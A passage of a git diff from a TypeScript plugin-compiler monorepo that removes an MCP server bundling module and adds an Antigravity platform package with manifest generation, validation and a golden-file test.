成功解析时的标准 URL,用于协议和主机安全检查。 */ - let url: URL | undefined; - try { - url = new URL(definition.url); - } catch { - context.diagnostics.error('MCP_URL_INVALID', `MCP server ${server.id} has an invalid URL.`, { phase: 'validate', module: MCP_MODULE_NAME }); - } - if (url && context.config.mode === 'production' && url.protocol !== 'https:') - context.diagnostics.error('MCP_HTTPS_REQUIRED', `MCP server ${server.id} must use HTTPS in production.`, { phase: 'validate', module: MCP_MODULE_NAME }); - if (url && context.config.mode === 'development' && url.protocol !== 'https:' && !(url.protocol === 'http:' && ['localhost', '127.0.0.1', '::1'].includes(url.hostname))) - context.diagnostics.error('MCP_HTTP_LOOPBACK_ONLY', `MCP server ${server.id} may use HTTP only on loopback in development.`, { phase: 'validate', module: MCP_MODULE_NAME }); - if (definition.auth?.type === 'bearer' && !ENV_PATTERN.test(definition.auth.env)) - context.diagnostics.error('MCP_ENV_INVALID', `MCP server ${server.id} bearer environment name is invalid.`, { phase: 'validate', module: MCP_MODULE_NAME }); - if (definition.auth?.type === 'oauth' && definition.auth.scopes?.some(scope => typeof scope !== 'string' || scope === '')) - context.diagnostics.error('MCP_OAUTH_SCOPE_INVALID', `MCP server ${server.id} OAuth scopes must be non-empty strings.`, { phase: 'validate', module: MCP_MODULE_NAME }); - validateValueSources(definition.headers, server, context); - } else if (definition.transport === 'stdio') { - /** 默认或显式配置解析出的本地 Server 绝对入口。 */ - const entry = path.resolve(server.directory, definition.entry ?? 'server.ts'); - /** 用于发现目录逃逸的入口相对路径。 */ - const relative = path.relative(server.directory, entry); - if (relative === '..' || relative.startsWith(`..${path.sep}`) || path.isAbsolute(relative)) - context.diagnostics.error('MCP_ENTRY_ESCAPE', `MCP server ${server.id} entry must stay inside its directory.`, { phase: 'validate', module: MCP_MODULE_NAME }); - try { - /** 用 lstat 获取且用于拒绝符号链接的入口元数据。 */ - const stat = await fs.lstat(entry); - if (!stat.isFile() || stat.isSymbolicLink()) - throw new Error('entry is not a regular file'); - } catch { - context.diagnostics.error('MCP_ENTRY_MISSING', `MCP server ${server.id} entry cannot be used.`, { phase: 'validate', module: MCP_MODULE_NAME }); - } - validateValueSources(definition.env, server, context); - } else { - context.diagnostics.error('MCP_TRANSPORT_UNSUPPORTED', `MCP server ${server.id} transport is unsupported.`, { phase: 'validate', module: MCP_MODULE_NAME }); - } - } -} - -/** - * 将完整本地 MCP 实现打包为单文件 Node ESM,并收集第三方许可。 - * - * @param entry 用户提供的本地 Server TypeScript 入口。 - * @param outputFile Module 工作目录中的目标 Bundle 路径。 - * @returns 可由 generate 阶段贡献的 Server 与可选许可文件。 - */ -async function bundleServer(entry: string, outputFile: string): Promise { - /** 保留 Node 内置模块为 external 的内存构建结果。 */ - const output = await rolldownBuild({ - input: entry, - platform: 'node', - external: [/^node:/], - write: false, - output: { - format: 'esm', - sourcemap: false, - codeSplitting: false, - comments: { legal: true }, - }, - }); - /** 构建产生的 JavaScript Chunk;协议要求严格只有一个。 */ - const chunks = output.output.filter((item): item is OutputChunk => item.type === 'chunk'); - /** 本地 MCP 暂不支持需要额外复制的 Rolldown Asset。 */ - const assets = output.output.filter(item => item.type === 'asset'); - if (chunks.length !== 1 || assets.length !== 0) - throw new Error('Local MCP server must bundle to exactly one JavaScript chunk and no assets.'); - await fs.mkdir(path.dirname(outputFile), { recursive: true }); - await fs.writeFile(outputFile, chunks[0]!.code); - /** Bundle 包含第三方依赖时生成的许可汇总。 */ - const licenses = await writeThirdPartyLicenses(chunks[0]!, path.dirname(outputFile)); - return licenses ? { server: outputFile, licenses } : { server: outputFile }; -} - -/** - * 只为 stdio 定义构建本地 Server;HTTP 定义保持纯远程声明。 - * - * @param context Core 提供的 Module 工作目录。 - * @param servers 已通过验证的 MCP Server。 - * @returns 按 Server ID 索引的本地 Bundle 状态。 - */ -async function build(context: ModuleBuildContext, servers: DiscoveredMcpServer[]): Promise { - /** 仅包含 stdio Server 的 Bundle 索引。 */ - const bundles = new Map(); - for (const server of servers) { - if (server.definition.transport !== 'stdio') - continue; - /** 已在 validate 阶段确认留在 Server 目录内的本地入口。 */ - const entry = path.resolve(server.directory, server.definition.entry ?? 'server.ts'); - /** 当前 Server 在 Module 隔离工作目录中的 Bundle 路径。 */ - const output = path.join(context.workDir, server.id, 'server.mjs'); - bundles.set(server.id, await bundleServer(entry, output)); - } - return { bundles }; -} - -/** - * 将 ValueSource 映射拆分为字面量和环境变量引用,供平台分别编码。 - * - * @param values Header 或进程环境配置。 - * @returns 按名称稳定插入的 literal 与 environment 映射。 - */ -function mapValues(values: Readonly> | undefined): { - literal: Record; - environment: Record; -} { - /** 可以直接写入目标清单的非敏感字面量。 */ - const literal: Record = {}; - /** 只写变量名称、由安装运行时读取真实值的引用。 */ - const environment: Record = {}; - for (const [name, source] of Object.entries(values ?? {}).sort(([a], [b]) => a.localeCompare(b, 'en'))) { - if ('value' in source) - literal[name] = source.value; - else - environment[name] = source.env; - } - return { literal, environment }; -} - -/** - * 把规范 MCP 定义转换为 Claude Code `.mcp.json` Server 描述。 - * - * @param server 已验证并可能完成本地构建的 MCP Server。 - * @returns Claude Code 使用的 stdio 或 HTTP 配置。 - */ -function claudeDescriptor(server: DiscoveredMcpServer): Record { - /** 当前 Server 的可判别联合定义。 */ - const definition = server.definition; - if (definition.transport === 'stdio') { - /** 拆分后的进程环境字面量与宿主变量引用。 */ - const values = mapValues(definition.env); - return { - type: 'stdio', - command: 'node', - args: [`\${CLAUDE_PLUGIN_ROOT}/mcp/${server.id}/server.mjs`], - env: { - ...values.literal, - ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, `\${${env}}`])), - }, - }; - } - /** 拆分后的 HTTP Header 字面量与宿主变量引用。 */ - const values = mapValues(definition.headers); - /** 最终写入 Claude `.mcp.json` 的 Header。 */ - const headers: Record = { - ...values.literal, - ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, `\${${env}}`])), - }; - if (definition.auth?.type === 'bearer') - headers.Authorization = `Bearer \${${definition.auth.env}}`; - return { - type: 'http', - url: definition.url, - ...(Object.keys(headers).length === 0 ? {} : { headers }), - ...(definition.auth?.type === 'oauth' && definition.auth.scopes?.length - ? { oauth: { scopes: definition.auth.scopes.join(' ') } } - : {}), - }; -} - -/** - * 把规范 MCP 定义转换为 Codex Plugin MCP Server 描述。 - * - * @param server 已验证并可能完成本地构建的 MCP Server。 - * @returns Codex 使用的 stdio 或 HTTP 配置。 - */ -function codexDescriptor(server: DiscoveredMcpServer): Record { - /** 当前 Server 的可判别联合定义。 */ - const definition = server.definition; - if (definition.transport === 'stdio') { - /** 拆分后的进程环境字面量与宿主变量引用。 */ - const values = mapValues(definition.env); - return { - command: 'node', - args: [`./mcp/${server.id}/server.mjs`], - cwd: '.', - ...(Object.keys(values.literal).length === 0 ? {} : { env: values.literal }), - ...(Object.keys(values.environment).length === 0 ? {} : { env_vars: Object.values(values.environment).sort() }), - }; - } - /** 拆分后的 HTTP Header 字面量与宿主变量引用。 */ - const values = mapValues(definition.headers); - return { - url: definition.url, - ...(definition.auth?.type === 'bearer' ? { bearer_token_env_var: definition.auth.env } : {}), - ...(definition.auth?.type === 'oauth' && definition.auth.scopes?.length ? { scopes: definition.auth.scopes } : {}), - ...(Object.keys(values.literal).length === 0 ? {} : { http_headers: values.literal }), - ...(Object.keys(values.environment).length === 0 ? {} : { env_http_headers: values.environment }), - }; -} - -/** - * 为当前目标贡献本地 Server Bundle、许可文件和平台 MCP 清单。 - * - * @param context 当前目标的 generate 上下文。 - * @param servers discover 阶段得到的全部远程和本地 Server。 - * @param built build 阶段产生的 stdio Bundle 索引。 - * @returns 交给 Compiler 合并的 Artifact 和 Codex 清单扩展字段。 - */ -async function generate( - context: ModuleGenerateContext, - servers: DiscoveredMcpServer[], - built: BuiltMcpState, -): Promise { - if (servers.length === 0) - return {}; - /** 当前目标需要加入 ArtifactGraph 的 MCP 文件。 */ - const artifacts: ArtifactInput[] = []; - for (const [id, bundle] of built.bundles) { - artifacts.push({ path: `mcp/${id}/server.mjs`, source: { type: 'file', path: bundle.server }, mode: 0o755 }); - if (bundle.licenses) - artifacts.push({ path: `mcp/${id}/THIRD_PARTY_LICENSES.txt`, source: { type: 'file', path: bundle.licenses }, mode: 0o644 }); - } - - if (context.target === 'claude-code') { - /** Claude `.mcp.json` 要求包裹在 mcpServers 顶层字段中。 */ - const mcpServers = Object.fromEntries(servers.map(server => [server.id, claudeDescriptor(server)])); - artifacts.push(bytesArtifact('.mcp.json', stableJson({ mcpServers }))); - return { artifacts }; - } - - /** Codex `.mcp.json` 使用 Server ID 到描述的直接映射。 */ - const serverMap = Object.fromEntries(servers.map(server => [server.id, codexDescriptor(server)])); - artifacts.push(bytesArtifact('.mcp.json', stableJson(serverMap))); - return { artifacts, manifestFields: { mcpServers: './.mcp.json' } }; -} - -/** - * 创建参与 discover、validate、build 和 generate 阶段的官方 MCP Module。 - * - * @returns 可直接加入 acplugin.config.ts modules 数组的 Module。 - */ -export function mcp(): AcpluginModule { - return { - name: MCP_MODULE_NAME, - discover, - validate, - build, - generate, - }; -} - -/** 官方 MCP Module 工厂的默认导出。 */ -export default mcp; diff --git a/packages/platforms/antigravity/package.json b/packages/platforms/antigravity/package.json new file mode 100644 index 0000000..9a4d4ad --- /dev/null +++ b/packages/platforms/antigravity/package.json @@ -0,0 +1,20 @@ +{ + "name": "@acplugin/platform-antigravity", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { "node": ">=20" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "scripts": { + "build": "tsdown", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { "@acplugin/core": "workspace:*" }, + "devDependencies": { + "@types/node": "catalog:", + "tsdown": "catalog:", + "@typescript/native": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/platforms/antigravity/src/components.ts b/packages/platforms/antigravity/src/components.ts new file mode 100644 index 0000000..73f8ed0 --- /dev/null +++ b/packages/platforms/antigravity/src/components.ts @@ -0,0 +1,183 @@ +import { + bytesArtifact, + markdownWithFrontmatter, + type ArtifactInput, + type PlatformComponentValidationContext, + type PlatformGenerateContext, + type PlatformPrepareContext, + type PluginProject, +} from '@acplugin/core'; + +/** Antigravity 1.0 暂不开放未经官方文档确认的 Component 专属字段。 */ +const COMPONENT_FIELDS = new Set(); + +/** 最终 Antigravity Skill 命名空间中的一项规范来源。 */ +interface GeneratedSkillIdentity { + /** 最终目录 ID。 */ + readonly id: string; + /** 用于诊断的规范 Component 身份。 */ + readonly subject: string; +} + +/** + * 校验 Antigravity Component 专属字段,阻止 raw Frontmatter 逃逸。 + * + * @param context Core 规范化并冻结后的字段校验上下文。 + */ +export function validateAntigravityComponentFields(context: PlatformComponentValidationContext): void { + for (const field of Object.keys(context.fields)) { + if (!COMPONENT_FIELDS.has(field)) { + context.reportDiagnostic({ + code: 'ANTIGRAVITY_COMPONENT_FIELD_UNKNOWN', + severity: 'error', + message: `Unknown Antigravity ${context.component.kind} field "${field}".`, + fieldPath: ['platforms', 'antigravity', field], + }); + } + } +} + +/** + * 列出全部规范 Component 最终占用的 Antigravity Skill ID。 + * + * @param project 已完成规范扫描的 Plugin 工程。 + * @returns 保持 Component 类型与扫描顺序的生成身份。 + */ +function generatedSkillIdentities(project: PluginProject): readonly GeneratedSkillIdentity[] { + return [ + ...project.skills.map(skill => ({ id: skill.id, subject: `skill:${skill.id}` })), + ...project.commands.map(command => ({ id: `command-${command.id}`, subject: `command:${command.id}` })), + ...project.agents.map(agent => ({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), + ]; +} + +/** + * 在 prepare 阶段拒绝规范 ID 与 fallback ID 的大小写不敏感冲突。 + * + * @param context Antigravity Platform prepare 上下文。 + */ +export function validateGeneratedSkillIds(context: PlatformPrepareContext): void { + /** 已经占用最终 ID 的首个规范 Component。 */ + const owners = new Map(); + for (const identity of generatedSkillIdentities(context.project)) { + /** 安装表面采用大小写不敏感的稳定冲突规则。 */ + const key = identity.id.toLocaleLowerCase('en-US'); + /** 已经占用同一最终 ID 的来源。 */ + const owner = owners.get(key); + if (owner !== undefined) { + context.reportDiagnostic({ + code: 'ANTIGRAVITY_GENERATED_SKILL_ID_COLLISION', + severity: 'error', + message: `${owner.subject} and ${identity.subject} both generate Antigravity Skill ID "${identity.id}".`, + hint: 'Rename one canonical Component so every native and fallback Skill ID is unique.', + }); + } else { + owners.set(key, identity); + } + } +} + +/** + * 把规范 Commands、Skills 与 Agents 转换为 Antigravity Skills。 + * + * @param context Platform generateBundle 生命周期上下文。 + * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 + */ +export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { + /** 当前 Platform 累计生成的 Component Artifact。 */ + const artifacts: ArtifactInput[] = []; + for (const skill of context.project.skills) { + artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ + name: skill.id, + description: skill.description, + }, skill.body))); + for (const auxiliary of skill.auxiliaryFiles) { + artifacts.push({ + path: `skills/${skill.id}/${auxiliary.path}`, + source: { type: 'file', path: auxiliary.sourcePath }, + mode: auxiliary.mode, + }); + } + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'component', + level: 'native', + reason: 'Antigravity plugins support Skills natively.', + }); + if (!skill.invocation.user || !skill.invocation.model) { + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'invocation', + level: 'degraded', + transformation: 'The Skill remains available to both users and the model.', + reason: 'Antigravity has no verified independent user/model invocation switches.', + }); + } + } + + for (const command of context.project.commands) { + /** Command 使用固定前缀进入统一 Skill 命名空间。 */ + const id = `command-${command.id}`; + artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ + name: id, + description: command.description, + }, command.body.replaceAll('{{arguments}}', 'the arguments supplied with this explicit invocation')))); + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'component', + level: 'transform', + transformation: `Explicit Skill ${id}`, + reason: 'Antigravity plugins expose reusable prompt workflows as Skills.', + }); + if (command.argumentHint !== undefined) { + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'argumentHint', + level: 'degraded', + transformation: `Explicit Skill ${id} without argument hint UI`, + reason: 'Antigravity Skills have no verified Command argument hint field.', + }); + } + } + + for (const agent of context.project.agents) { + /** Agent 使用固定前缀进入统一 Skill 命名空间。 */ + const id = `agent-${agent.id}`; + /** 降级正文明确区分作者意图与平台无法强制的运行约束。 */ + const guidance = [ + agent.body, + '', + `Intended model class: ${agent.model}.`, + `Intended capabilities: ${agent.capabilities.join(', ') || 'none declared'}.`, + 'Use this Skill as role guidance; Antigravity does not register it as a dedicated Agent.', + ].join('\n'); + artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ + name: id, + description: agent.description, + }, guidance))); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'component', + level: 'degraded', + transformation: `Guidance-only Skill ${id}`, + reason: 'Antigravity plugin documentation does not define installable custom Agents.', + }); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.model', + level: 'degraded', + transformation: 'The intended model class is preserved as guidance text.', + reason: 'A fallback Skill cannot enforce an Agent model selection.', + }); + if (agent.capabilities.length > 0) { + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.capabilities', + level: 'degraded', + transformation: 'The intended capabilities are preserved as guidance text.', + reason: 'A fallback Skill cannot enforce an Agent capability boundary.', + }); + } + } + return artifacts; +} diff --git a/packages/platforms/antigravity/src/index.ts b/packages/platforms/antigravity/src/index.ts new file mode 100644 index 0000000..508ca13 --- /dev/null +++ b/packages/platforms/antigravity/src/index.ts @@ -0,0 +1,56 @@ +import { definePlatform, type AcpluginPlatform } from '@acplugin/core'; +import { + generateComponentArtifacts, + validateAntigravityComponentFields, + validateGeneratedSkillIds, +} from './components.js'; +import { + createManifestDocument, + serializeDocuments, + validatePlatformOptions, + type AntigravityPlatformOptions, +} from './manifest.js'; +import { validateAntigravityBundle } from './validator.js'; + +export type { AntigravityPlatformOptions } from './manifest.js'; + +/** Antigravity Platform 的稳定开放 ID。 */ +export const PLATFORM_ID = 'antigravity' as const; +/** Antigravity Platform 实现的 Core API 版本。 */ +export const PLATFORM_API_VERSION = '1' as const; + +/** + * 创建独立且可由 Core 品牌校验的 Antigravity Platform。 + * + * @param options 当前 Platform 的严格度覆盖。 + * @returns Antigravity Plugin 交付实现。 + */ +export function antigravity(options: AntigravityPlatformOptions = {}): AcpluginPlatform { + validatePlatformOptions(options); + return definePlatform({ + id: PLATFORM_ID, + apiVersion: PLATFORM_API_VERSION, + deliveryType: 'plugin', + ...(options.strict === undefined ? {} : { strict: options.strict }), + options: {}, + validateComponentFields: validateAntigravityComponentFields, + /** prepare 先验证 fallback Skill 命名空间,再创建最小 Manifest。 */ + prepare: (context) => { + validateGeneratedSkillIds(context); + return { documents: [createManifestDocument(context)], artifacts: [] }; + }, + /** generateBundle 只生成官方文档确认的根结构。 */ + generateBundle: context => ({ + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [ + ...context.artifacts, + ...generateComponentArtifacts(context), + ...serializeDocuments(context.documents), + ], + }), + /** 最终候选使用内部严格 Schema 固定最小字段原则。 */ + validateBundle: validateAntigravityBundle, + }); +} diff --git a/packages/platforms/antigravity/src/manifest.ts b/packages/platforms/antigravity/src/manifest.ts new file mode 100644 index 0000000..0b4a6ab --- /dev/null +++ b/packages/platforms/antigravity/src/manifest.ts @@ -0,0 +1,105 @@ +import { + bytesArtifact, + stableJson, + type ArtifactInput, + type DraftDocument, + type JsonObject, + type PlatformPrepareContext, +} from '@acplugin/core'; + +/** Antigravity Plugin 清单的稳定逻辑 Document ID。 */ +export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; + +/** Antigravity Plugin 清单相对于安装根的固定路径。 */ +export const PLUGIN_MANIFEST_PATH = 'plugin.json'; + +/** Antigravity Platform 写入 Artifact 时使用的固定 owner。 */ +const PLATFORM_OWNER = 'platform:antigravity' as const; + +/** 创建 Antigravity Platform 时可声明的公开选项。 */ +export interface AntigravityPlatformOptions { + /** 覆盖当前 Platform 的兼容性严格度。 */ + readonly strict?: boolean; +} + +/** + * 校验 Antigravity Platform 只接受已由官方文档确认的最小选项。 + * + * @param options 用户声明的 Platform 选项。 + */ +export function validatePlatformOptions(options: AntigravityPlatformOptions): void { + /** 当前只允许 Core strictness,不暴露猜测的 Manifest 字段。 */ + const allowed = new Set(['strict']); + for (const field of Object.keys(options)) { + if (!allowed.has(field)) + throw new TypeError(`Unknown Antigravity Platform option "${field}".`); + } + if (options.strict !== undefined && typeof options.strict !== 'boolean') + throw new TypeError('Antigravity strict must be a boolean.'); +} + +/** + * 报告统一元数据在最小 Antigravity Manifest 中的最终去向。 + * + * @param context Platform prepare 阶段的元数据报告出口。 + */ +function reportMetadata(context: PlatformPrepareContext): void { + context.reportMetadata({ + field: 'name', + disposition: 'emitted', + output: `${PLUGIN_MANIFEST_PATH}.name`, + reason: 'Antigravity plugin.json publicly documents the name field.', + }); + /** 除 name 外的统一字段均没有经过公开 Manifest 契约确认。 */ + const fields = ['version', 'description', 'displayName', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; + /** field 表示当前可能被作者声明但必须省略的统一元数据。 */ + for (const field of fields) { + if (field === 'version' || field === 'description' || context.project.metadata[field] !== undefined) { + context.reportMetadata({ + field, + disposition: 'omitted', + reason: `Antigravity's public Plugin Manifest contract has not confirmed ${field}.`, + }); + context.reportDiagnostic({ + code: 'ANTIGRAVITY_METADATA_OMITTED', + severity: 'warning', + message: `Antigravity output omits metadata field "${field}" because it is not publicly documented.`, + fieldPath: [field], + }); + } + } +} + +/** + * 创建只包含官方文档确认 name 的 Antigravity Plugin Manifest。 + * + * @param context Platform prepare 生命周期上下文。 + * @returns 不向 Extension 暴露猜测字段的单一 Document。 + */ +export function createManifestDocument(context: PlatformPrepareContext): DraftDocument { + reportMetadata(context); + return { + id: PLUGIN_MANIFEST_ID, + path: PLUGIN_MANIFEST_PATH, + format: 'json', + owner: PLATFORM_OWNER, + value: { name: context.project.metadata.name } as JsonObject, + extensionPoints: [], + }; +} + +/** + * 将 Antigravity Plugin Document 序列化为 Artifact。 + * + * @param documents 当前 Platform Draft 中由 Core 冻结的完整文档列表。 + * @returns 固定根 plugin.json Artifact。 + */ +export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { + /** 按逻辑 ID 查找唯一 Plugin Manifest。 */ + const manifest = documents.find(document => document.id === PLUGIN_MANIFEST_ID); + if (!manifest || manifest.path !== PLUGIN_MANIFEST_PATH || manifest.format !== 'json') + throw new Error('Antigravity Platform Draft is missing its canonical Plugin Manifest Document.'); + if (documents.length !== 1) + throw new Error('Antigravity Platform received an unknown Document.'); + return [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson(manifest.value))]; +} diff --git a/packages/platforms/antigravity/src/validator.ts b/packages/platforms/antigravity/src/validator.ts new file mode 100644 index 0000000..75842a8 --- /dev/null +++ b/packages/platforms/antigravity/src/validator.ts @@ -0,0 +1,52 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { PlatformValidateContext } from '@acplugin/core'; +import { PLUGIN_MANIFEST_PATH } from './manifest.js'; + +/** + * 向 Core 提交 Antigravity 候选校验错误。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param code 稳定诊断码。 + * @param message 不包含宿主绝对路径的错误信息。 + */ +function report(context: PlatformValidateContext, code: string, message: string): void { + context.reportDiagnostic({ code, severity: 'error', message }); +} + +/** + * 校验 Antigravity 最小 Manifest、Skill 目录和可选 Extension 配置。 + * + * @param context Platform 提供的已物化候选交付单元。 + */ +export async function validateAntigravityBundle(context: PlatformValidateContext): Promise { + /** 当前候选交付单元的规范 Artifact 路径集合。 */ + const artifacts = new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); + try { + /** 当前没有公开 Schema,内部严格规则只接受官方文档确认的 name。 */ + const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, PLUGIN_MANIFEST_PATH), 'utf8')); + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new TypeError('Manifest is not an object.'); + /** 经过对象形态检查的最小 Manifest。 */ + const manifest = value as Record; + if (Object.keys(manifest).length !== 1 || typeof manifest.name !== 'string' || manifest.name.trim().length === 0) + report(context, 'ANTIGRAVITY_MANIFEST_INVALID', 'plugin.json must contain exactly one non-empty name field.'); + } catch { + report(context, 'ANTIGRAVITY_MANIFEST_READ_FAILED', 'plugin.json must contain the documented minimal JSON object.'); + } + /** path 表示当前可选平台配置,存在时必须至少是 JSON 对象。 */ + for (const artifactPath of ['hooks.json', 'mcp_config.json']) { + if (!artifacts.has(artifactPath)) + continue; + try { + /** Extension 配置由其 Adapter 生成,但仍由 Platform 做最终 JSON 对象校验。 */ + const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, artifactPath), 'utf8')); + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new TypeError('Configuration is not an object.'); + } catch { + report(context, 'ANTIGRAVITY_EXTENSION_CONFIG_INVALID', `${artifactPath} must contain a JSON object.`); + } + } + if ([...artifacts].some(artifact => artifact.startsWith('commands/') || artifact.startsWith('agents/'))) + report(context, 'ANTIGRAVITY_UNDOCUMENTED_RESOURCE', 'Commands and Agents must be transformed into the documented skills/ tree.'); +} diff --git a/packages/platforms/antigravity/test/golden/plugin.json b/packages/platforms/antigravity/test/golden/plugin.json new file mode 100644 index 0000000..cfc323d --- /dev/null +++ b/packages/platforms/antigravity/test/golden/plugin.json @@ -0,0 +1,3 @@ +{ + "name": "release-tools" +} diff --git a/packages/platforms/antigravity/test/golden/plugin.schema.json b/packages/platforms/antigravity/test/golden/plugin.schema.json new file mode 100644 index 0000000..9f40714 --- /dev/null +++ b/packages/platforms/antigravity/test/golden/plugin.schema.json @@ -0,0 +1,15 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$comment": "Internal strict fixture: Antigravity has no published Plugin JSON Schema as verified on 2026-08-06.", + "type": "object", + "required": [ + "name" + ], + "additionalProperties": false, + "properties": { + "name": { + "type": "string", + "minLength": 1 + } + } +} diff --git a/packages/platforms/antigravity/test/platform.test.ts b/packages/platforms/antigravity/test/platform.test.ts new file mode 100644 index 0000000..f5a35c7 --- /dev/null +++ b/packages/platforms/antigravity/test/platform.test.ts @@ -0,0 +1,76 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { executeLifecycle, resolveConfig, type ResolvedConfig } from '@acplugin/core'; +import { antigravity } from '../src/index.js'; + +/** 测试结束后统一删除的临时工程根目录。 */ +const temporaryRoots: string[] = []; + +/** 内部严格 Schema 和 Manifest Golden 的固定目录。 */ +const goldenRoot = path.join(import.meta.dirname, 'golden'); + +/** 测试只读取的 Antigravity 内部 Schema 结构。 */ +interface AntigravitySchemaFixture { + /** 内部规则是否禁止未确认字段。 */ + readonly additionalProperties: boolean; + /** 内部规则要求的最小字段。 */ + readonly required: readonly string[]; + /** 允许的唯一根字段定义。 */ + readonly properties: Readonly>; +} + +/** 创建只包含原生 Skill 的规范工程。 */ +async function createProject(): Promise { + /** 当前用例独占的工程根目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-antigravity-platform-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src/skills/review'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); + return root; +} + +/** 解析仅包含 Antigravity Platform 的严格测试配置。 */ +function resolvedConfig(root: string): ResolvedConfig { + /** 最小 Plugin 元数据和单 Platform 的解析结果。 */ + const result = resolveConfig({ + name: 'release-tools', + version: '1.2.3', + description: 'Release workflow tools.', + platforms: [antigravity()], + }, path.join(root, 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: [antigravity()] }); + expect(result.diagnostics).toEqual([]); + return result.config!; +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Antigravity Platform', () => { + it('emits only the documented name field and matches the internal strict golden', async () => { + /** 只包含官方确认资源的规范工程。 */ + const root = await createProject(); + /** 经过 Platform 最终验证的构建结果。 */ + const result = await executeLifecycle({ + config: resolvedConfig(root), + /** 纯 Markdown Platform Fixture 不加载 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + /** 内部严格 Schema Fixture。 */ + const schema = JSON.parse(await fs.readFile(path.join(goldenRoot, 'plugin.schema.json'), 'utf8')) as AntigravitySchemaFixture; + /** 实际生成的最小 Plugin Manifest 路径。 */ + const manifestPath = path.join(root, 'dist/antigravity/plugin/plugin.json'); + /** 实际生成且已通过 Platform Validator 的 Manifest。 */ + const manifest = JSON.parse(await fs.readFile(manifestPath, 'utf8')) as Record; + + expect(result.success).toBe(true); + expect(schema.additionalProperties).toBe(false); + expect(Object.keys(manifest)).toEqual(schema.required); + expect(Object.keys(manifest).every(field => Object.hasOwn(schema.properties, field))).toBe(true); + expect(await fs.readFile(manifestPath)).toEqual(await fs.readFile(path.join(goldenRoot, 'plugin.json'))); + await fs.access(path.join(root, 'dist/antigravity/plugin/skills/review/SKILL.md')); + }); +}); diff --git a/packages/compiler-claude-code/tsconfig.json b/packages/platforms/antigravity/tsconfig.json similarity index 52% rename from packages/compiler-claude-code/tsconfig.json rename to packages/platforms/antigravity/tsconfig.json index 6ece4d3..3ae4da2 100644 --- a/packages/compiler-claude-code/tsconfig.json +++ b/packages/platforms/antigravity/tsconfig.json @@ -1,4 +1,4 @@ { - "extends": "../../tsconfig.base.json", + "extends": "../../../tsconfig.base.json", "include": ["src/**/*.ts", "test/**/*.ts"] } diff --git a/packages/platforms/antigravity/tsdown.config.ts b/packages/platforms/antigravity/tsdown.config.ts new file mode 100644 index 0000000..dd84b84 --- /dev/null +++ b/packages/platforms/antigravity/tsdown.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from 'tsdown'; + +/** Antigravity Platform 使用统一 Node 20 ESM 与声明输出。 */ +export default defineConfig({ + entry: ['./src/index.ts'], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: { generator: 'oxc' }, + clean: true, + sourcemap: false, +}); diff --git a/packages/platforms/claude-code/package.json b/packages/platforms/claude-code/package.json new file mode 100644 index 0000000..f16af91 --- /dev/null +++ b/packages/platforms/claude-code/package.json @@ -0,0 +1,20 @@ +{ + "name": "@acplugin/platform-claude-code", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { "node": ">=20" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "scripts": { + "build": "tsdown", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { "@acplugin/core": "workspace:*" }, + "devDependencies": { + "@types/node": "catalog:", + "tsdown": "catalog:", + "@typescript/native": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/platforms/claude-code/src/components.ts b/packages/platforms/claude-code/src/components.ts new file mode 100644 index 0000000..a8fe0aa --- /dev/null +++ b/packages/platforms/claude-code/src/components.ts @@ -0,0 +1,291 @@ +import { + bytesArtifact, + markdownWithFrontmatter, + type AgentCapability, + type ArtifactInput, + type Component, + type PlatformComponentValidationContext, + type PlatformGenerateContext, + type PluginProject, +} from '@acplugin/core'; + +/** Command 允许补充的 Claude Code 专属字段。 */ +const COMMAND_FIELDS = new Set(['allowedTools', 'model']); + +/** Skill 